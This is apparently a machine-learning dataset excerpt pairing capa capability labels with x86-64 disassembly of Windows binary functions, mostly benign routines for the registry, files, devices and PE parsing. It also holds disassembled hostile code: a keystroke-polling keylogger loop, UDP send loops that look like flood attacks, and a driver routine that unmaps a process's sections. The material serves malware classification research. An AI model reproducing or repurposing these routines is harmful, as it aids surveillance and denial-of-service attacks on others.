joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011ec
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rdx, [0x1400053d0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov r9d, 0x22
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x30]
or eax, 4
mov rcx, qword [rsp + 0x48]
mov dword [rcx + 0x30], eax
lea rdx, [0x140005400]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov dword [rsp + 0x40], eax
xor eax, eax
add rsp, 0x78
ret

Function at 0x140001280
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x30], 0x30
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x48], 0x40
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
lea r8, [rsp + 0x30]
mov edx, 0xf003f
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x140001305
xor al, al
jmp 0x140001337
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x14000132a
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
xor al, al
jmp 0x140001337
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
add rsp, 0x60
pop rdi
ret

Function at 0x140001340
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x140001383
lfence
mov eax, dword [rsp + 0x20]
jmp 0x1400013aa
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call sub.ntoskrnl.exe_MmUnmapViewOfSection
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x1400013a6
lfence
mov eax, dword [rsp + 0x20]
jmp 0x1400013aa
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140002444
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc0000001
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jl 0x140002480
mov rax, qword [rsp + 0x28]
jmp 0x140002482
xor eax, eax
add rsp, 0x38
ret

Function at 0x140003bd0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x40], 0x30
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x58], 0x40
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
lea r8, [rsp + 0x40]
mov edx, 0xf003f
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x140003c67
xor al, al
jmp 0x140003cc4
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x90]
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x140003cb7
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
xor al, al
jmp 0x140003cc4
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
add rsp, 0x70
pop rdi
ret

Function at 0x140003dc0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x78], 0x40
lea rax, [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
lea r8, [rsp + 0x60]
mov edx, 0xf003f
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x140003eaf
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0xb0]
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwFlushKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, 1
jmp 0x140003eb5
xor al, al
jmp 0x140003eb5
add rsp, 0x98
ret
Function at 0x18002feb4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180065e60]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18002ff0b
cmp word [rdx], r13w
jne 0x18002ff0b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18002ff10
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180030035
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180030056
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18002ff49
mov rdx, r9
mov word [rbx], cx
jmp 0x18002ff70
cmp r9, r8
jae 0x18002ff80
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18002ff2a
jmp 0x180030035
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18003002a
cmp dword [rsp + 0x80], esi
je 0x18003002a
lea r8, [0x180065e60]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180030002
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18002ffd2
mov word [rbx], r13w
jmp 0x180030032
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18002ffdf
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180030032
cmp word [rsp + 0x70], r13w
jne 0x18003000f
cmp rbx, r14
je 0x18002ffcc
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180031a8c
cmp word [rsp + 0x70], r13w
je 0x180030035
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180065e60]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18003002f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180030035
Function at 0x180033094
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800330aa
mov al, 1
jmp 0x18003310a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800330bb
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180033108
mov ecx, dword [rcx + 0x18]
nop
call fcn.180033ef4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180033108
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180033108
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180033108
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18003310a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x180034004
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180031a8c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180031a8c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180034154
cmp rax, 0xffffffffffffffff
je 0x180034154
xor edi, edi
test rbp, rbp
jle 0x1800340ff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18003440c
mov rbx, rax
test rax, rax
jne 0x18003408c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800340f5
mov edx, 0x8000
mov ecx, r14d
call fcn.180033360
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18003126c
cmp eax, 0xffffffff
je 0x1800340d5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18003409c
mov edx, r15d
mov ecx, r14d
call fcn.180033360
jmp 0x1800340f5
cmp byte [rsi + 0x38], dil
je 0x1800340ec
cmp dword [rsi + 0x34], 5
jne 0x1800340ec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800340f5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800329cc
jmp 0x180034168
jns 0x180034168
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180031a8c
cmp rax, 0xffffffffffffffff
jne 0x180034120
cmp byte [rsi + 0x30], dil
je 0x180034168
mov edi, dword [rsi + 0x2c]
jmp 0x180034168
mov ecx, r14d
call fcn.180033ef4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180034168
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180034168
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180034161
mov eax, dword [rsi + 0x2c]
jmp 0x180034166
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180031a8c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x180037878
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800378a8
xor eax, eax
jmp 0x18003796b
mov rbp, rbx
cmp word [rax], si
je 0x1800378cd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800378b4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800378b0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180037798
movsxd r14, eax
test eax, eax
jne 0x18003790b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800378a1
mov rcx, r14
call fcn.180032a08
mov rdi, rax
test rax, rax
jne 0x180037924
xor ecx, ecx
call fcn.1800329cc
jmp 0x180037900
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180037798
test eax, eax
jne 0x180037955
mov rcx, rdi
call fcn.1800329cc
jmp 0x18003795f
xor ecx, ecx
call fcn.1800329cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400017a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x50
mov eax, dword [rsp + 0x88]
xor ebp, ebp
movss xmm0, dword [rsp + 0x80]
mov rdi, qword [0x140061228]
mov dword [rsp + 0x30], eax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x3c], al
mov ecx, dword [rdi + 0x18]
movss dword [rsp + 0x20], xmm1
movss xmm1, dword [rsp + 0xa0]
movss dword [rsp + 0x2c], xmm0
movss xmm0, dword [rsp + 0x98]
lea rax, [rcx + 1]
movss dword [rsp + 0x24], xmm2
movss dword [rsp + 0x28], xmm3
movss dword [rsp + 0x34], xmm0
movss dword [rsp + 0x38], xmm1
cmp rax, 0xf4240
jbe 0x14000182e
lea rcx, str.__buffer_____overflow._n
call fcn.140001f10
xor ecx, ecx
mov dword [rdi + 0x18], ebp
mov rax, qword [rdi + 0x10]
mov byte [rcx + rax], 2
inc dword [rdi + 0x18]
mov rdi, qword [0x140061228]
mov edx, dword [rdi + 0x18]
lea rax, [rdx + 0x24]
cmp rax, 0xf4240
jbe 0x140001860
lea rcx, str.__buffer_____overflow._n
call fcn.140001f10
xor edx, edx
mov dword [rdi + 0x18], ebp
mov rax, qword [rdi + 0x10]
movups xmm0, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rax + rdx], xmm0
movups xmmword [rax + rdx + 0x10], xmm1
mov dword [rax + rdx + 0x20], ebp
add dword [rdi + 0x18], 0x24
mov rbp, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140009430
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140060040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
nop word [rax + rax]
mov rax, qword [0x1400610f8]
mov rbx, qword [rax + 0x28]
add rbx, 0x2960
je 0x1400094b7
mov eax, dword [0x140060fe0]
mov qword [rbp - 0x39], rax
mov qword [rbp + 0x3f], rdi
mov dword [rbp + 0x27], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov qword [rbp + 7], rbx
mov eax, eax
lea rcx, [rbp - 0x39]
mov qword [rbp - 0x31], rax
lea rax, [rbp + 0x3f]
mov qword [rbp - 1], rax
mov qword [rbp + 0xf], 8
call qword [0x140061288]
mov rbx, qword [rbp + 0x3f]
jmp 0x1400094ba
mov rbx, rdi
mov eax, dword [0x140060fe0]
mov qword [rbp - 0x39], rax
mov byte [rbp + 0x37], dil
mov dword [rbp + 0x27], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov qword [rbp + 0xf], 1
mov eax, eax
lea rcx, [rbp - 0x39]
mov qword [rbp - 0x31], rax
lea rax, [rbp + 0x37]
mov qword [rbp + 7], rax
lea rax, [rbx + 0x813]
mov qword [rbp - 1], rax
call qword [0x140061288]
mov ecx, 0x73
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14000955a
mov eax, dword [0x140060fe0]
mov qword [rbp - 0x39], rax
mov byte [rbp + 0x37], dil
mov dword [rbp + 0x27], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov qword [rbp + 0xf], 1
mov eax, eax
lea rcx, [rbp - 0x39]
mov qword [rbp - 0x31], rax
lea rax, [rbp + 0x37]
mov qword [rbp + 7], rax
lea rax, [rbx + 0x812]
mov qword [rbp - 1], rax
call qword [0x140061288]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009460
Function at 0x140034bc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140034c0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140034c0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140034c0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140034c0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140034c0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140034c10
xor al, al
add rsp, 0x28
ret
Function at 0x402cc7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x40209a
rol rcx, 0x10
test cx, 0xffff
jne 0x402096
repz ret
ror rcx, 0x10
jmp 0x402c20
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x00484e70]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x00484f68]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x402ca5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x00484e70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x402cc7
mov rax, qword [rsp + 0x88]
mov qword [0x00484f68], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x00484f08], rax
mov rax, qword [0x00484f68]
mov qword [0x00484de0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x00484ef0], rax
mov dword [0x00484dd0], 0xc0000409
mov dword [0x00484dd4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x00483008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x00484e68], eax
mov ecx, 1
call fcn.0040db10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x004703f8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x00484e68], 0
jne 0x402d4e
mov ecx, 1
call fcn.0040db10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x401583
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xac0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa60], rcx
mov dword [rbp + 0xa68], edx
mov dword [rbp + 0xa70], r8d
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0xa38], eax
mov ecx, 0
call sym.time
mov qword [rbp + 0xa30], rax
mov rax, qword [rbp + 0xa60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xa28], rax
lea rax, [rbp + 0xa10]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0xa28]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0xa10]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xa28]
movzx eax, word [rax + 0x10]
mov word [rbp + 0xa10], ax
mov eax, dword [rbp + 0xa68]
mov word [rbp + 0xa12], ax
mov dword [rbp + 0xa3c], 0
lea rax, [rbp + 0x140]
lea rdx, [0x0040a020]
mov ecx, 0x11a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
call sym.rand
movsxd rcx, eax
movabs rdx, 0xe865ac7b7603a197
mov rax, rcx
mul rdx
mov rax, rdx
shr rax, 8
imul rdx, rax, 0x11a
mov rax, rcx
sub rax, rdx
mov rax, qword [rbp + rax*8 + 0x140]
mov qword [rbp + 0xa20], rax
cmp dword [rbp + 0xa3c], 0x31
jbe 0x401765
mov eax, dword [rbp + 0xa38]
cdqe
mov rdx, qword [rbp + 0xa20]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0xa38]
cdqe
lea rdx, [rbp + 0xa10]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0xa70]
movsxd rcx, edx
mov rdx, qword [rbp + 0xa30]
add rdx, rcx
cmp rax, rdx
jl 0x40175b
mov eax, dword [rbp + 0xa38]
cdqe
mov rcx, rax
call sym.fclose
jmp 0x401771
mov dword [rbp + 0xa3c], 0
add dword [rbp + 0xa3c], 1
jmp 0x40167b
add rsp, 0xac0
pop rsi
pop rdi
pop rbp
ret
Function at 0x40189f
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp - 8], eax
mov ecx, 0
call sym.time
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x30]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x10]
mov word [rbp - 0x30], ax
mov eax, dword [rbp + 0x18]
mov word [rbp - 0x2e], ax
mov dword [rbp - 4], 0
lea rax, [0x0040bb58]
mov qword [rbp - 0x38], rax
cmp dword [rbp - 4], 0x31
jbe 0x4019cc
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x38]
mov r9d, 0
mov r8d, 0x5b4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x30]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0x20]
movsxd rcx, edx
mov rdx, qword [rbp - 0x10]
add rdx, rcx
cmp rax, rdx
jl 0x4019c5
mov eax, dword [rbp - 8]
mov ecx, eax
call sym.close
mov ecx, 0
call sym._exit
mov dword [rbp - 4], 0
add dword [rbp - 4], 1
jmp 0x401948

Function at 0x401aaa
Capabilities:
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
nop
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
test rax, rax
je 0x401b10
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
jmp 0x401b15
mov eax, 0
add rsp, 0x90
pop rbp
ret

Function at 0x401b1e
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.GetFirstIPAddress
mov dword [rbp + 0x14c], eax
mov eax, dword [rbp + 0x14c]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_ntohl]
call rax
mov edx, dword [rbp + 0x160]
and eax, edx
mov dword [rbp + 0x148], eax
call sym.rand_cmwc
mov edx, dword [rbp + 0x160]
not edx
and edx, eax
mov eax, dword [rbp + 0x148]
xor eax, edx
mov dword [rbp + 0x144], eax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, dword [rbp + 0x144]
add rsp, 0x1d0
pop rbp
ret